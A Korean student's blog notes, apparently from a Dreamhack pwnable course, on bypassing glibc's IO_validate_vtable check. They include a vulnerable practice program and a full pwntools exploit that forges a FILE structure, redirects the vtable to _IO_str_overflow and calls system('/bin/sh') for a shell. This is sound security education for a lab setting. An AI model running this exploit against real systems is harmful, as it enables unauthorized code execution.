[Dreamhack] _IO_FILE: 4 - Bypass IO_validate_vtable

securitykss·2023년 3월 1일
0

Pwnable 강의(dreamhack)

목록 보기
58/58
post-thumbnail

https://dreamhack.io/lecture/courses/272 을 토대로 작성한 글입니다.

1. Introduction

_IO_FILE 는 파일 함수가 호출될 때 전달된 파일 포인터의 vtable 주소를 참조한다는 것을 알아봤었다.

이 점을 이용해서 취약점이 존재한는 예제 프로그램을 공격해 셸을 획득해 보자


여기서의 exploit은 glibc 2.29 버전 이상에서 더이상 사용할 수 없는 기법이다.


vtable 덮기 실습 예제 코드

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie 

#include <stdio.h>
#include <unistd.h>
FILE *fp;void init() {
	setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int main() {
	init();
    fp = fopen("/dev/urandom", "r");
    
    printf("stdout: %p\n", stdout);
    printf("Data: ");
    
    read(0, fp, 300);
    fclose(fp);
}

2. 라이브러리 분석

2.1 IO_validate_vtable

IO_validate_vtable 함수

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;

  const char *ptr = (const char *) vtable;

  uintptr_t offset = ptr - __start___libc_IO_vtables;

  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */

    _IO_vtable_check ();

  return vtable;
}

실습에서 공격을 하기 앞서, IO_validate_vtable에 대해서 이해하고 있어야 한다.

_IO_FILE 배경 지식을 배울 때 vtable을 참조하는 과정을 확인해보면 해당 함수를 호출한다.

위 코드는 glibc 2.27 버전의 IO_validate_vtable 함수 코드이다.

주석을 먼저 살펴보면, vtable은 __libc_IO_vtables 섹션에 할당된다는 것을 알 수 있다.

코드에서는 해당 섹션의 시작 주소와 끝 주소를 뺄셈하여 섹션의 크기를 알아내고,

호출하려는 vtable의 주소가 섹션의 크기를 벗어나는 값이라면 _IO_vtable_check 함수를 호출해 에러를 발생시킨다.

이전 버전에서는 파일 포인터의 vtable 포인터를 덮을 수 있는 상황이라면 파일 함수가 참조하는 함수 포인터의 주소를 덮어써서 쉽게 공격할 수 있었다.

그러나 IO_validate_vtable 함수가 생겨나면서 이전 버전에서는 더 이상 같은 기법으로 공격할 수 없다.

따라서 해당 검사를 우회하기 위해서는 __libc_IO_vtables 섹션에 존재하는 함수들 중 공격에 사용될 수 있는 함수를 찾아야 한다.

2.2 _IO_str_overflow

_IO_str_overflow 함수는 __libc_IO_vtables 섹션에 존재하는 함수이다.

IO_str_overflow 함수

int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;

  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;

  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }

  pos = fp->_IO_write_ptr - fp->_IO_write_base;

  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;

      else
	{

	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);

	  _IO_size_t new_size = 2 * old_blen + 100;

	  if (new_size < old_blen)
	    return EOF;

	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

2.3 공격 방법

2.3.1 함수 포인터 호출

코드 하단에서 아래와 같이 파일 포인터 내 _s._allocate_buffer라는 이름의 함수 포인터를 호출한다.

  new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

2.3.2 인자 설정

함수 포인터의 인자로 new_size 변수를 전달한다.

해당 변수는 아래와 같은 코드로 값이 결정되는데,

코드를 살펴보면 _IO_FILE 구조체 변수인 _IO_buf_end와 _IO_buf_base 변수의 연산 값을 사용한다.

따라서 파일 구조체를 조작할 수 있는 상황이라면 new_size 변수를 조작할 수 있다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

size_t old_blen = _IO_blen (fp);

_IO_size_t new_size = 2 * old_blen + 100;

if (new_size < old_blen)

   return EOF;

2.3.3 접근 조건

함수 포인터를 호출하기 위해서는 조건문을 통과해야 한다.

아래는 함수 포인터를 호출하기 위한 조건문으로,

이 또한 _IO_FILE 구조체 변수인 _IO_write_ptr과 _IO_write_base 변수의 연산 값을 사용한다.

비교 구문에서 사용되는 flush_only 변수는 기본값이 0이며, 구문을 요약하면 pos >= _IO_blen(fp)로 추릴 수 있다.

따라서 _IO_write_base를 0으로 초기화하면 _IO_write_ptr 값이 곧 pos 변수의 값이 되므로 쉽게 해당 비교 구문을 통과하고 함수 포인터를 호출할 수 있다.

int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

3. 코드 분석

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie 
#include <stdio.h>
#include <unistd.h>

FILE *fp;
void init() {
	setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int main() {
	init();
   	fp = fopen("/dev/urandom", "r");
    printf("stdout: %p\n", stdout);
    printf("Data: ");
    read(0, fp, 300);
    fclose(fp);
}

code description

예제에서는 파일 포인터를 전역 변수로 선언하고, “/dev/urandom” 파일을 연다.

도의 라이브러리 릭 없이 공격을 진행하기 위해 stdout 포인터의 주소를 출력하고,

파일 포인터에 300 바이트 만큼의 값을 입력할 수 있습니다. 이를 통해 IO_FILE 구조체를 조작할 수 있다.

4. Exploit

4.1 exploit design

익스플로잇의 목표는 IO_validate_vtable 함수의 검사를 우회하고, 결과적으로 셸을 획득하는 것이다.

앞서 설명한 _IO_str_overflow 함수 내부에서 인자를 설정하고 함수 포인터를 호출하면 될 것이다.

1. 라이브러리 주소 계산

예제에서는 라이브러리 주소를 계산할 수 있도록 stdout 포인터의 주소를 제공한다.

__libc_IO_vtables 섹션을 포함한 파일 함수는 라이브러리에 맵핑되어 있기 때문에 라이브러리 베이스 주소를 계산하고,

익스플로잇 하는데 있어 필요한 함수의 주소를 알아낸다.

2. 인자 조작

vtable을 조작해 _IO_str_overflow 함수를 호출하기 전에,

함수 포인터로 전달될 인자인 new_size를 먼저 “/bin/sh” 문자열의 주소로 조작해야 한다.

new_size는 아래와 같은 수식으로 연산되는 변수이므로,

_IO_buf_end를 “/bin/sh” 주소로, _IO_buf_base를 0으로 덮어쓰면 된다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

3. vtable 조작

vtable을 조작할 때는 IO_validate_vtable 함수의 검사를 우회할 수 있는 주소로 덮어써야 한다.

먼저, 예제 코드에서는 파일 구조체를 덮어쓸 수 있는 코드가 수행되고, fclose 함수를 호출한다.

fclose는 내부적으로 _IO_FINISH 함수를 호출하는데, 이 함수 또한 __libc_IO_vtables 섹션 내에 존재한다.

fclose 함수가 _IO_FINISH 함수를 참조하기 전에 파일 구조체의 vtable 주소를 조작해 IO_str_overflow 함수를 참조하게 만든다면

해당 함수 내부에서 호출하는 함수 포인터를 system으로 조작해 셸을 획득할 수 있다.

4.2 라이브러리 주소 계산

# Name: bypass_valid_table.py
from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)

libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8

fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']

fp = elf.symbols['fp']

p.interactive()

_IO_FILE 구조체와 vtable 주소를 조작하기 위해서는 제공된 stdout 주소를 읽고, 공격에 필요한 주소를 먼저 알아내야 한다.

위 코드는 공격에 사용될 주소를 모두 알아낸 익스플로잇 코드이다.

코드를 살펴보면, IO_str_overflow 함수를 호출하기 위해 해당 함수 주소가 위치한 주소를 알아내고,

fake_vtable이란 이름으로 IO_str_overflow 함수 주소가 위치한 주소에서 16을 뺀 주소를 저장한다.

또한, 함수 포인터와 인자를 조작하기 위해 “/bin/sh” 문자열의 주소와 시스템 함수의 주소를 미리 계산한다.

4.3 인자 조작

# Name: bypass_valid_vtable.py

from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)

libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
# io_str_overflow = libc.symbols['_IO_str_overflow']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']

fp = elf.symbols['fp']

payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9

p.sendline(payload)

p.interactive()

IO_str_overflow 함수 내부에서 호출하는 함수 포인터를 조작하기 전에 전달되는 인자가 “/bin/sh” 문자열을 가리키도록 해야 한다.

앞서 알아봤듯이 IO_str_overflow 함수 내 new_size 변수는 아래와 같은 계산식으로 값이 결정되므로

위 코드와 같이 _IO_buf_end를 “/bin/sh” 문자열의 주소로, _IO_buf_base를 0으로 조작한다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

익스플로잇 코드를 살펴보면, new_size를 연산하는데 필요하지 않은 _IO_write_ptr 변수를 _IO_buf_end와 똑같이 설정하는 것을 볼 수 있다.

이는 함수 포인터를 호출하는데에 필요한 다음과 같은 조건을 충족하기 위해서 덮어쓰는 것이다.

pos = fp->_IO_write_ptr - fp->_IO_write_base;

if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

4.4 vtable 조작

 Name: bypass_valid_vtable.py

from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)

libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
# io_str_overflow = libc.symbols['_IO_str_overflow']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']

fp = elf.symbols['fp']

payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9

payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP

p.sendline(payload)

p.interactive()

공격에 필요한 라이브러리 주소를 계산하고, 인자를 모두 조작했다면,

vtable을 조작해 _IO_str_overflow 함수를 호출하고, 내부에서 호출하는 함수 포인터를 덮어쓰면 된다.

fclose는 내부에서 _IO_FINISH를 호출하는데,

이는 vtable 주소로부터 16 바이트를 덧셈한 위치에 있는 주소를 호출한다.

따라서 vtable의 주소를 IO_str_overflow - 16 주소로 덮어쓴다면 fclose는 결국 IO_str_overflow 함수를 호출하게 된다.

해당 함수 내에서 호출되는 함수 포인터는 fp->_s._allocate_buffer로,

이는 vtable 주소가 위치한 다음 8 바이트를 의미한다.

따라서 조작한 vtable 주소 뒤에 system 함수의 주소를 덮어쓰면 최종적으로 system("/bin/sh") 코드가 실행된다.

위 코드는 라이브러리 주소를 계산하고,

함수 포인터의 인자가 “/bin/sh”를 가리키게 한 뒤

IO_str_overflow에서 호출하는 함수 포인터를 system으로 덮어쓴 최종 익스플로잇 코드이다.

해당 코드를 실행하면 다음과 같이 셸을 획득할 수 있다.

마치며

이번 코스에서는 파일 구조체 내 vtable을 조작하는 공격 기법을 막기 위한 IO_validate_vtable 함수를 우회하는 실습을 해봤다.

해당 함수는 파일 함수가 참조하는 vtable의 함수 주소가 __libc_IO_vtables 섹션에 존재하는 주소인지 검사한다.

이를 우회하기 위해 해당 섹션에 있는 함수 중 내부에서 조작할 수 있는 값을

함수 포인터로 호출하는 IO_str_overflow를 이용하여 해당 보호 기법을 우회하고 셸을 획득했다.

libc 2.29 버전 이상의 라이브러리에서는 IO_str_overflow 함수 내부에서 함수 포인터를 호출하는 코드가 삭제되어 해당 함수를 이용한 공격 기법은 더 이상 사용할 수 없다

Referecne

https://dreamhack.io/lecture/courses/272

profile
보안 공부를 하는 학생입니다.

0개의 댓글